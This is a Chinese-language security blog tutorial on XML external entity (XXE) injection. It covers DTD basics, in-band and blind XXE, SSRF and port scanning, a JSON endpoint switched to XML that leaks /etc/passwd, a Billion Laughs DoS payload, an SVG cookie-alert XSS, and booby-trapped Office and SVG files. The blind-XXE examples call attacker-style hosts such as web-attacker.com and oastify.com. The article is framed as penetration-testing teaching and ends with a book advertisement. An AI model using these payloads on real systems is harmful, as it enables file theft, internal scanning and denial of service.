XML外部实体注入漏洞(XXE)

admin 2026-01-26 02:53:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档深入解析XML外部实体注入(XXE)漏洞原理与利用技巧。涵盖XML基础、有回显与无回显攻击、内网端口扫描及SSRF。重点介绍了JSON接口转换攻击、XXE拒绝服务攻击以及利用Word和SVG文件进行XXE的方法。文末附书籍推荐,适合渗透测试人员学习。 综合评分: 87 文章分类: 漏洞分析,WEB安全,漏洞POC


cover_image

XML外部实体注入漏洞(XXE)

原创

uuwan uuwan

SecurityBug

2026年1月24日 00:01 陕西

▲ 点击上方SecurityBug蓝字关注和✩星标,以防失联

未经同意禁止转载。

请点击文末 #漏洞教学 标签查看合集,如果对您有帮助还请点赞、在看、评论、转发、打赏哦,您的互动就是我更新最大的动力!

**# 文|uuwan

  1. XML基础
  2. 有回显和无回显的XXE
  3. JSON XXE
  4. XXE拒绝服务攻击payload
  5. word和svg文件造成的XXE

XML 外部实体注入漏洞 xml和html都是文本标记语言,不过xml用来进行文本传输,html用来进行文本显示。 xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,xml在引用外部实体时,可以导致命令执行,任意文件读取或者内网端口探测,因此命名为xxe漏洞。

**1

#

XML基础**

***********实体***************实体必须在DTD中声明定义DTD文档中有很多重要的关键字如下: o DOCTYPE(DTD的声明) o ENTITY(实体的声明) o SYSTEM、PUBLIC(外部资源申请) 参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用
通用实体&内部实体:<!ENTITY 实体名称&nbsp;"实体的值"><?xml version="1.0"&nbsp;encoding="utf-8"?><!DOCTYPE&nbsp;ANY[&nbsp; &nbsp;&nbsp;<!ENTITY&nbsp;name&nbsp;"Bill Gates">]><root>&name;</root>//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)
通用实体&外部实体:<!ENTITY 实体名称&nbsp;SYSTEM&nbsp;"URI/URL"><!ENTITY&nbsp;writer&nbsp;SYSTEM&nbsp;"file:///etc/passwd"&nbsp;><!ENTITY&nbsp;writer&nbsp;SYSTEM&nbsp;"http://www.w3school.com.cn/dtd/entities.dtd"><?xml version="1.0"&nbsp;encoding="utf-8"?><!DOCTYPE&nbsp;ANY[&nbsp; &nbsp;&nbsp;<!ENTITY&nbsp;name&nbsp;SYSTEM&nbsp;"file:///etc/passwd"&nbsp;>]><root>&name;</root>
XML的规范定义中,只有在DTD中才能引用参数实体.参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容
参数实体&内部实体:<!ENTITY % 实体名称&nbsp;"实体的值">参数实体&外部实体:<!ENTITY % 实体名称&nbsp;SYSTEM&nbsp;"URI"><!DOCTYPE&nbsp;ANY&nbsp;[&nbsp; &nbsp;&nbsp;<!ENTITY %&nbsp;name&nbsp;SYSTEM&nbsp;"http://localhost/index.html">//参数实体只能在DTD中定义,DTD中引用&nbsp; &nbsp; &nbsp;%name; &nbsp;//%实体名;一个实体由三部分构成: 一个 (%), 一个实体名称, 以及一个分号 (;)]>
<?xml version="1.0"&nbsp;encoding="ISO-8859-1"?>&nbsp; //定义了xml的版本是1.0,使用的编码是ISO-8859-1//下面为DTD,xml约束<!DOCTYPE&nbsp;note&nbsp;[ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//定义此文档是 note 类型的文档。&nbsp;&nbsp;<!ELEMENT&nbsp;note&nbsp;(to,from,heading,body)>&nbsp;//定义 note 元素有四个元素:"to、from、heading、body"&nbsp;&nbsp;<!ELEMENT&nbsp;to&nbsp; &nbsp; &nbsp; (#PCDATA)>&nbsp; //定义 to 元素为 "#PCDATA" 类型&nbsp;&nbsp;<!ELEMENT&nbsp;from&nbsp; &nbsp; (#PCDATA)>&nbsp; &nbsp;//定义 from 元素为 "#PCDATA" 类型&nbsp;&nbsp;<!ELEMENT&nbsp;heading&nbsp;(#PCDATA)>&nbsp; // heading 元素为 "#PCDATA" 类型&nbsp;&nbsp;<!ELEMENT&nbsp;body&nbsp; &nbsp; (#PCDATA)>&nbsp; //定义 body 元素为 "#PCDATA" 类型]>/*#PCDATA:元素内容必须为字符串类型ANY:任意类型EMPTY:元素内容必须为空&nbsp;*/

<note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>DTD分为外部DTD和内部DTD外部DTD<!DOCTYPE&nbsp;foo&nbsp;[<!ENTITY %&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://web-attacker.com/malicious.dtd">&nbsp;%xxe;]>&nbsp;内部DTD<!DOCTYPE&nbsp;ANY&nbsp;[&nbsp; &nbsp;&nbsp;<!ENTITY %&nbsp;name&nbsp;SYSTEM&nbsp;"http://localhost/index.html">&nbsp; &nbsp; &nbsp;%name; &nbsp;]>
<% x %> &nbsp;是xml中的注释
<![CDATA[' or 1=1 or ''=']]> &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;CDATA部分的内容会被xml解析器视为纯文本,&nbsp; &nbsp;例子中' or 1=1 or ''='就被当作纯文本,这是用来测sql注入的
<?xml version="1.0"&nbsp;encoding="utf-8"?>&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; 称为XML声明或者处理指令。它用于指定XML文档的版本和相关的处理信息
<?x?> &nbsp;&nbsp;&nbsp; &nbsp; 称为XML声明或者处理指令。它用于指定XML文档的版本和相关的处理信息
<x>&nbsp;是一个元素标签名称

中的URI/URL可支持的协议如下:

2**

#

有回显和无回显的XXE****

参数有回显

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;ANY&nbsp;[<!ENTITY&nbsp;name&nbsp;"my name is nMask">]><root>&name;</root>如果页面输出了my name is nMask说明xml文件可以被解析,那么下一步改包测试是否可以引用外部实体,是否可以xxe

<?xml version="1.0"&nbsp;encoding="utf-8"?><!DOCTYPE&nbsp;ANY[<!ENTITY&nbsp;name&nbsp;SYSTEM&nbsp;"file:///D:/sssssssssssssssssssssssstttttttttttttttttttt/burp/config.cfg"&nbsp;>]><root>&name;</root>
<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;foo&nbsp;[&nbsp;<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"file:///etc/passwd">&nbsp;]><stockCheck><productId>&xxe;</productId></stockCheck>

参数无回显

改为dnslog看看有没有收到记录。

还可以用下面这种测试,使用自己搭建的apache网站,开启url访问日志记录

参数实体<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;foo&nbsp;[&nbsp;<!ENTITY %&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://f2g9j7hhkax.web-attacker.com">&nbsp;%xxe; ]>

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;foo&nbsp;[&nbsp;<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://f2g9j7hhkax.web-attacker.com">&nbsp;]><stockCheck><productId>&xxe;</productId></stockCheck>

内网端口扫描ssrf

<?xml version="1.0"&nbsp;encoding="utf-8"?><!DOCTYPE&nbsp;root&nbsp;[&nbsp; &nbsp;&nbsp;<!ELEMENT&nbsp;name&nbsp;ANY&nbsp;>&nbsp; &nbsp;&nbsp;<!ENTITY&nbsp;XXE&nbsp;SYSTEM&nbsp;"http://ip:port"&nbsp;>]><root><name>&XXE;</name></root>
端口开放时会返回报错信息,端口不存在时会无法连接
ssrf<!DOCTYPE&nbsp;foo&nbsp;[&nbsp;<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://internal.vulnerable-website.com/">&nbsp;]>

端口不存在会无法连接,如下

#

**3

#

JSON XXE**

很多web和移动应用都基于客户端-服务器交互模式的web通信服务,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。

原始请求和响应:

HTTP Request:

POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/jsonContent-Length: 38{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1&nbsp;200&nbsp;OKContent-Type: application/jsonContent-Length:&nbsp;43{"error":&nbsp;"no results for name netspitest"}

进一步请求和响应:

现在我们尝试将 Content-Type 修改为 application/xml

HTTP Request:

POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 38{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1&nbsp;500&nbsp;Internal Server ErrorContent-Type: application/jsonContent-Length:&nbsp;127{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击。

最终的请求和响应:

HTTP Request:

POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 288
<?xml version="1.0"&nbsp;encoding="UTF-8"&nbsp;?><!DOCTYPE&nbsp;netspi&nbsp;[<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"file:///etc/passwd"&nbsp;>]><root><search>name</search><value>&xxe;</value></root>

HTTP Response:

HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 2467{"error": "no results for name root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/sync....

4**

#

XXE拒绝服务攻击payload****

<?xml version="1.0"?><!DOCTYPE&nbsp;netspi&nbsp;[<!ENTITY&nbsp;lol&nbsp;"lol"><!ENTITY&nbsp;lol1&nbsp;"&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY&nbsp;lol2&nbsp;"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY&nbsp;lol3&nbsp;"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY&nbsp;lol4&nbsp;"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY&nbsp;lol5&nbsp;"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY&nbsp;lol6&nbsp;"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY&nbsp;lol7&nbsp;"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY&nbsp;lol8&nbsp;"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY&nbsp;lol9&nbsp;"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>

  此示例就是著名的Billion laughs attack该攻击是通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DoS 攻击。

  原理:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

php防御手段:

$dom&nbsp;=&nbsp;new&nbsp;DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);&nbsp;loadXML函数内部有检测实体循环解析的防御机制

5**

#

word和svg文件造成的XXE****

svg文件

可以进行xss攻击

<?xml version="1.0"&nbsp;standalone="no"?><!DOCTYPE&nbsp;svg&nbsp;PUBLIC&nbsp;"-//W3C//DTD SVG 1.1//EN"&nbsp;"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg&nbsp;version="1.1"&nbsp;baseProfile="full"&nbsp;xmlns="http://www.w3.org/2000/svg"><polygon&nbsp;id="triangle"&nbsp;points="0,0 0,50 50,0"&nbsp;fill="#009901"&nbsp;stroke="#004400"/>
<script&nbsp;type="text/javascript">alert(document.cookie);</script></svg>

可以读取文件进行xxe攻击,将文件内容显示在图片上

<?xml version="1.0"&nbsp;standalone="yes"?><!DOCTYPE&nbsp;test&nbsp;[&nbsp;<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"file:///etc/hostname"&nbsp;>&nbsp;]><svg&nbsp;width="128px"&nbsp;height="128px"&nbsp;xmlns="http://www.w3.org/2000/svg"&nbsp;xmlns:xlink="http://www.w3.org/1999/xlink"&nbsp;version="1.1"><text&nbsp;font-size="16"&nbsp;x="0"&nbsp;y="16">&xxe;</text></svg>

word文件

将word文件重命名为zip后缀,解压得到

修改Content_Types.xml

<!DOCTYPE x [&nbsp;<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/">&nbsp;]><x>&xxe;</x>

重新压缩,再将压缩包的后缀名修改为xlsx

可以修改的文件:xl/workbook.xml、Content_Types.xml、word/document.xml

如何使用burp测试

Burp Collaborator

u503rciaxq4opr00n0c2ncbz3q9hx8lx.oastify.com<!DOCTYPE x [&nbsp;<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://637fpogmv220n3yclcaelo9b127tvmjb.oastify.com">&nbsp;]><x>&xxe;</x>

**## *To be continue…***

如果您想了解完整的XXE漏洞原理、攻击方式或者更多的安全测试内容。

请阅读《网络安全治理:基于DevSecOps的理论与实践》,本书包含黑白盒安全测试、安卓端安全测试、AI大模型安全测试、红蓝对抗等诸多内容。

该书由本人联合网络安全领域顶尖专家倾心打造,机械工业出版社重磅出版!

无论你是安全从业者、CTO、渗透测试工程师,还是对网络安全治理充满好奇的技术爱好者,都可以从本书学到你想要的知识。

想购买的朋友可以在京东网、淘宝网、当当网等平台购买。

**


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SecurityBug uuwan uuwan《XML外部实体注入漏洞(XXE)》

评论:0   参与:  0